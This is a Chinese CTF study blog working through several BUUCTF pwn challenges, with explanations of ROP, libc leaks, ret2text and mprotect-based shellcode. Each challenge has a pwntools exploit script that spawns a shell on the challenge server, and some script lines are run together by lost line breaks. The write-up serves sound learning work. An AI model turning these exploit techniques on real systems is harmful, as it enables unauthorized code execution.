BUUCTF PWN刷題筆記(持續更新!!)

ciscn_2019_c_1

64位,沒有開啟保護。點進去沒發現明顯的漏洞函數,考慮泄露libc基地址的rop構造。先看看有多少gadget

估計也夠用了。puts函數只接受一個參數,觀看匯編看看用的哪個寄存器傳輸的參數。

用的是edi。但是我們怎么找到so的版本呢,因為我們必須要知道so文件種puts函數的偏移量,才可以和泄露出puts的地址結合找到基址。可以用LibcSearch模塊來搜索。

libcsearch(符號,地址)

新的心得:

1.64位有效地址是6字節。

2.libc.dump是LibcSearch的內置函數

  • 通過泄漏的函數真實地址,工具會匹配對應的 libc 版本,并直接返回其他函數或字符串的偏移量,避免手動計算。--豆包

可惜我的libcsearch出問題了

在線網站:libc database search

libc-database

可以自己搜這個。

另外就是因為函數的crypto函數,我們需要先傳入一個\0,防止被吞payload。

?最后,一定需要注意棧對齊。在棧我們填充的垃圾字節似乎會影響到棧指針16字節對齊。

、下面是解釋接受泄露地址的\x7f的原因(小端序下)

為什么不直接recv呢?

想要recv,就必須先接受crypto函數的第一個puts,否則直接recv的不是地址。然后,還需要先接受crypto的第一個輸出,不然recv的還不是地址,有點麻煩。

exp:

from pwn import *
from LibcSearcher3 import *
context.log_level = 'debug' 
p = remote("node5.buuoj.cn",26318)
elf = ELF("./pwn")
pop_rdi_ret = 0x400c83
func = 0x4009A0p.sendlineafter(b"choice!\n", b'1')puts_got = elf.got["puts"]
payload2 =b'\0'+ b'A'*(0x50+8-1) + p64(pop_rdi_ret) + p64(puts_got) + p64(elf.plt['puts'])+p64(func)
p.sendline(payload2)
true_puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#我的沒有找到地址,只好手動添加
system_addr = true_puts-0x31580
bin_sh_addr = true_puts+0x1334da
p.recvuntil(b"encrypted\n")
#下面的p64(0x04006b9)就是一個ret 來棧對齊的
payload3 =b'\0'+ b'A'*(0x50+8-1) +p64(0x04006b9 ) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload3)p.interactive()

jarvisoj_level2_x64

同樣64位未開啟保護,進入ida看看。注意到plt有個system字段,字符有/bin/sh,而且存在棧溢出的函數,可以感受到這就是入門題目,寫一個exp練練手:

from pwn import *
elf=ELF("./pwn")
p=remote("node5.buuoj.cn",27443)
bin_sh=next(elf.search('/bin/sh'))
pop_rdi_ret=0x004006b3 
ret=0x4004a1
system=elf.plt['system']
payload=b'A'*(128+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.send(payload)
p.interactive()

get_started_3dsctf_2016

參考:get_started_3dsctf_2016 - 不會修電腦 - 博客園

get_started_3dsctf_2016【BUUCTF】(兩種解法)_if ( a1 == 814536271 && a2 == 425138641 ) { v2 = f-CSDN博客

32位沒有保護,這次gaddet不好說也省去了。

方法一:ret2text

尋找到這一個函數,初步懷疑是ret2text。先試試行不行。

顯然注意到a1a2的值還要有要求,查看匯編層面:開局有一個esp-8的操作,然后arg_0是對地址4操作的意思,arg_4是對地址為8操作的意思.這倆參數經過ida的main棧幀查看發現其實是在返回地址之后。因為main的argc和argv具有相同的4、8.但是這樣并不能幫助我們修改它們的值

難道這樣就沒辦法了嗎?不要忘記C語言調用參數約定,我們只要按照約定,構造rsp即可。不用看這部分匯編代碼,只需要在addr后4字節覆蓋參數。

這里必須用exit,不然不會回顯出來,因為沒有開啟標準輸入輸出。

from pwn import *q = remote('node5.buuoj.cn',26793)
context.log_level = 'debug'# 僅修正字節類型,其他不變
payload = b'a'*56  # 改為字節類型
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
sleep(0.1)  # 可保留,但非必要
q.recv()

方法二:ret2shellcode

媽的,還有這種思路。注意到下面有這個函數:

int?mprotect(const?void *start,?size_t len,?int prot);

  第一個參數填的是一個地址,是指需要進行操作的地址。

  第二個參數是地址往后多大的長度。

  第三個參數的是要賦予的權限。7就是可讀可寫可執行。

這個函數可以把某個空間改為可執行。?唯一能利用的空間肯定要動調找。千萬別用棧,地址可能會變化。那唯一能用的只有下部分的。前兩個不太清楚是什么東西,先選取紫色的試試。

而且這樣的話,需要read函數往里面填充我們的shellcode。

這里構造ROP需要注意,用pop_ret要清理參數,不然第二個函數的參數不好處理了。因為運行到gets的時候ESP指向的參數實際上不對勁的,可以自己畫畫看看,這里不多演示了。

from pwn import *
context.log_level = 'debug'# 檢查 ELF 文件
elf = ELF('./pwn') if os.path.exists('./pwn') else Nonep = remote("node5.buuoj.cn", 29198)
mprotect = 0x806EC80
pop3_ret = 0x0804f460
read_addr = 0x0804F630
buf = 0x80ea000payload = b"a"*56 + p32(mprotect) + p32(pop3_ret) + p32(buf) + p32(0x1000) + p32(0x7) + p32(read_addr) + p32(buf) + p32(buf) p.sendline(payload)
sleep(0.1)  # 確保 payload 發送完成payload2 = asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(payload2)p.interactive()

這里的shellcraft必須跟上后面倆,不然不成功。?

?[HarekazeCTF2019]baby_rop

64位程序,打開IDA看看。有個system的plt表項,估計要用ret2syscall思路。

其實沒那么復雜,程序本身也有/bin/sh,只需要rdi傳輸一個參數即可。

一下子就出來shell,但是沒有看到flag。顯然需要使用find命令。

find . -name "flag" -type f -exec cat {} \; 2>/dev/null

命令解釋:

  1. find .
    從當前目錄(.)開始遞歸查找。

  2. -name "flag"
    查找文件名精確匹配?flag?的文件(區分大小寫)。

    • 若要忽略大小寫:-iname "flag"

    • 若要查找包含?flag?的文件(如?flag1.txt):-name "*flag*"

  3. -type f
    僅查找普通文件(排除目錄、符號鏈接等)。

  4. -exec cat {} \;
    對每個找到的文件執行?cat?命令輸出其內容。

    • {}?是?find?的占位符,表示當前文件。

    • \;?是命令結束符,需轉義(;?在 shell 中有特殊含義)。

  5. 2>/dev/null
    丟棄錯誤輸出(如權限不足導致的錯誤),僅保留正常輸出。
    2(stderr):標準錯誤輸出(命令執行錯誤信息,屏幕顯示)。

exp:

from pwn import *
context.log_level='debug'
elf=ELF('./pwn')
p=remote("node5.buuoj.cn",26576)
system=elf.plt['system']
pop_rdi_ret=0x400683
bin_sh=0x0601048
payload=b'A'*(16+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

others_shellcode?

參考了[BUUCTF-pwn]——others_shellcode-CSDN博客

看名字就知道是shellcode。但是這個開啟了PIE。瞬間沒有思路了,也只有一個Getshell函數。

媽的,這個函數還真的getshell了,直接nc就做出來了。我暈

突然看別的題解,看了匯編代碼。現在看看它的匯編

int 80都出來了,極可能實現了execve。也不知道它的考點是啥。

?

[OGeek2019]babyrop

32位,沒有保護。

這個是主函數(已經修改部分變量名):首先給buf讀取了4字節。

看看vuln的邏輯:

可見必須得看v2是否滿足條件,(v2在這里就是參數a1)。第一個的read無法造成棧溢出。

v2和func密切相關,進去分析分析。

首先設置s和buf均為0.

sprintf?函數的作用是把格式化后得到的字符串存到指定的字符數組中。在這個語句里:

  • 第一個參數?s?代表存儲格式化結果的目標字符串。
  • 第二個參數?"%ld"?是格式控制字符串,這里的?%ld?意味著要以長整型(long int)的形式進行格式化輸出。
  • 第三個參數?buf_1?是需要被格式化的值。

?read函數返回的讀取成功的字節,v5就是這個值。這么婆婆媽媽的,就是把buf的最后一個變成0,使buf疑似成為字符串。問了豆包,假如BUF不輸入,可能會跳滿足這個判斷,但是又沒辦法利用vuln了。

----------------------待更新

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/80630.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/80630.shtml
英文地址,請注明出處:http://en.pswp.cn/web/80630.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java EE初階——線程安全

1. 線程的狀態 1. 線程狀態分類(Thread.State 枚舉) Java 定義了 6 種線程狀態,這些狀態均由 java.lang.Thread.State 枚舉表示: NEW(新建) 線程對象已創建,但尚未調用 start() 方法。此時線程…

Vue 3.0中響應式依賴和更新

響應式依賴和更新是Vue 3.0中最重要的機制&#xff0c;其核心代碼如下&#xff0c;本文將結合代碼對這個設計機制作出一些解釋。 // 全局依賴存儲&#xff1a;WeakMap<target, Map<key, Set<effect>>> const targetMap new WeakMap();// 當前活動的副作用函…

一、內存調優

一、內存調優 什么是內存泄漏 監控Java內存的常用工具 內存泄露的常見場景 內存泄露的解決方案 內存泄露與內存溢出的區別 內存泄露&#xff1a;在Java中如果不再使用一個對象&#xff0c;但是該對象依然在GC ROOT的引用鏈上&#xff0c;這個對象就不會被垃圾回收器回收&…

Linux /etc/rc.d/init.d/

在傳統的 SysV init 系統中&#xff0c;服務啟動腳本通常位于 /etc/rc.d/init.d/ 目錄下。這些腳本可以直接執行以啟動、停止或重啟服務&#xff0c;并且可以接受參數如 start, stop, status 等。 如果你想知道位于 /etc/rc.d/init.d/ 目錄下的某個腳本文件實際上指向哪里,如果…

S7 200 smart連接Profinet轉ModbusTCP網關與西門子1200PLC配置案例

控制要求&#xff1a;使用MODBUSTCP通信進行兩臺PLC之間的數據交換&#xff0c;由于改造現場不能改動程序&#xff0c;只留出了對應的IQ地址。于是客戶決定使用網關進行通訊把數據傳到plc。 1、讀取服務器端40001~40005地址中的數據&#xff0c;放入到VW200~VW208中&#xff1…

打破傳統倉庫管理困局:WMS如何重構出入庫全流程

引言 在制造業與零售業高速發展的今天&#xff0c;倉庫管理仍普遍面臨效率低、錯發漏發頻發、庫存數據滯后等痛點。人工登記導致30%的錯單率&#xff0c;貨位混亂讓揀貨耗時增加50%&#xff0c;而賬實不符引發的二次采購成本更吞噬著企業利潤。如何突破傳統管理桎梏&#xff1…

Text2SQL在Spark NLP中的實現與應用:將自然語言問題轉換為SQL查詢的技術解析

概述 SQL 仍然是當前行業中最受歡迎的技能之一 免責聲明&#xff1a;Spark NLP 中的 Text2SQL 注釋器在 v3.x&#xff08;2021 年 3 月&#xff09;中已被棄用&#xff0c;不再使用。如果您想測試該模塊&#xff0c;請使用 Spark NLP for Healthcare 的早期版本。 自新千年伊…

微服務項目->在線oj系統(Java版 - 5)

相信自己,終會成功 微服務代碼: lyyy-oj: 微服務 目錄 C端代碼 用戶題目接口 修改后用戶提交代碼(應用版) 用戶提交題目判題結果 代碼沙箱 1. 代碼沙箱的核心功能 2. 常見的代碼沙箱實現方式 3. 代碼沙箱的關鍵問題與解決方案 4. 你的代碼如何與沙箱交互&#xff1f; …

Vue3 Element Plus 中el-table-column索引使用問題

在 Element Plus 的 el-table 組件中&#xff0c;使用 scope.index 是不準確的。正確的索引屬性應該是 scope.$index。你的代碼需要調整為&#xff1a; vue 復制 下載 <el-button type"primary" size"default" text click"onModifyClick(scope…

Ubuntu20.04下使用dpkg方式安裝WPS后,將WPS改為中文界面方法

Ubuntu20.04下使用dpkg方式安裝WPS后&#xff0c;將WPS改為中文界面方法 說明方法 說明 Ubuntu20.04下使用dpkg方式安裝WPS后&#xff0c;打開WPS后&#xff0c;發現界面是英文的&#xff0c;如有需要可以按照下面的方法將其改為中文界面。 方法 cd /opt/kingsoft/wps-offic…

【??HTTPS基礎概念與原理?】??HTTPS vs HTTP:為什么現代網站必須用HTTPS?

以下是關于 HTTPS vs HTTP 的詳細對比分析&#xff0c;涵蓋安全性、性能差異及SEO影響&#xff0c;幫助您全面理解為何現代網站必須采用HTTPS&#xff1a; 一、安全性對比&#xff1a;HTTPS 如何解決 HTTP 的致命缺陷 1. HTTP 的安全隱患 ? 明文傳輸&#xff1a;HTTP 數據以明…

算法刷題(Java與Python)1.二分查找

目錄 二分查找 思路 總體 細節 問題一&#xff0c;為什么循環的條件是left<right ,為什么要有等號呢 問題二&#xff0c;為什么中間值是left (right - left) / 2 問題三&#xff0c;為什么最后返回的是左邊的值呢 情況 1&#xff1a;target 存在于數組中 情況 2&a…

芯片生態鏈深度解析(二):基礎設備篇——人類精密制造的“巔峰對決”

【開篇&#xff1a;設備——芯片工業的“劍與盾”】 當ASML的EUV光刻機以每秒5萬次激光脈沖在硅片上雕刻出0.13nm精度的電路&#xff08;相當于在月球表面精準定位一枚二維碼&#xff09;&#xff0c;當國產28nm光刻機在華虹產線實現“從0到1”的突破&#xff0c;這場精密制造…

MongoTemplate 基礎使用幫助手冊

前言 MongoDB 是一種流行的 NoSQL 數據庫&#xff0c;適合存儲大量的非結構化數據。MongoTemplate 是 Spring Data MongoDB 中的一個核心組件&#xff0c;它提供了一組豐富的 API 來與 MongoDB 進行交互。它封裝了許多常見的數據庫操作&#xff0c;使開發者能夠輕松執行 CRUD 操…

psotgresql18 源碼編譯安裝

環境&#xff1a; 系統&#xff1a;centos7.9 數據庫&#xff1a;postgresql18beta1 #PostgreSQL 18 已轉向 DocBook XML 構建體系&#xff08;SGML 未來將被棄用&#xff09;。需要安裝 XML 工具鏈&#xff0c;如下&#xff1a; yum install -y docbook5-style-xsl libxsl…

C++編程起步項目

員工信息管理系統 需求 Employee.h #pragma once#include<iostream> #include<string>using namespace std;class Employee { public:int id; // 編號string name; // 姓名string position; // 崗位int deptId; // 部門編號Employee();Employee(int id, string n…

Linux的MySQL頭文件和找不到頭文件問題解決

頭文件 #include <iostream> #include <mysql_driver.h> #include <mysql_connection.h> #include <cppconn/statement.h> #include <cppconn/resultset.h> #include <cppconn/prepared_statement.h> #include <cppconn/exception.h&g…

[ linux-系統 ] 命令行參數 | 環境變量

命令行參數 命令行參數是指用戶在啟動程序時通過命令行傳遞給程序的參數。這些參數可以用于控制程序的行為、傳遞輸入數據或配置選項。 在 C/C 中&#xff0c;命令行參數通過 main 函數的參數傳遞 命令行參數列表 argc:參數的個數 argv[]&#xff1a;參數的清單 為什么要…

新書速覽|鴻蒙HarmonyOS NEXT開發之路 卷2:從入門到應用篇

《鴻蒙HarmonyOS NEXT開發之路 卷2&#xff1a;從入門到應用篇》 01 本書內容 《鴻蒙HarmonyOS NEXT開發之路 卷2&#xff1a;從入門到應用篇》是一本深度聚焦HarmonyOS NEXT應用開發的全方位指導書&#xff0c;內容遵循由淺入深的原則展開。全書分為基礎知識、應用開發進階和…

經典密碼學和現代密碼學的結構及其主要區別(1)凱撒密碼——附py代碼

密碼學是一門通過使用代碼和密碼來保護信息的藝術與科學&#xff0c;其歷史可以追溯到數千年前。古典密碼學代表了這一古老學科早期的篇章。早在計算機和現代加密算法出現之前&#xff0c;歷史上的各個文明就依靠巧妙的方法來保護機密、安全通信以及獲取戰略優勢。 古典密碼學…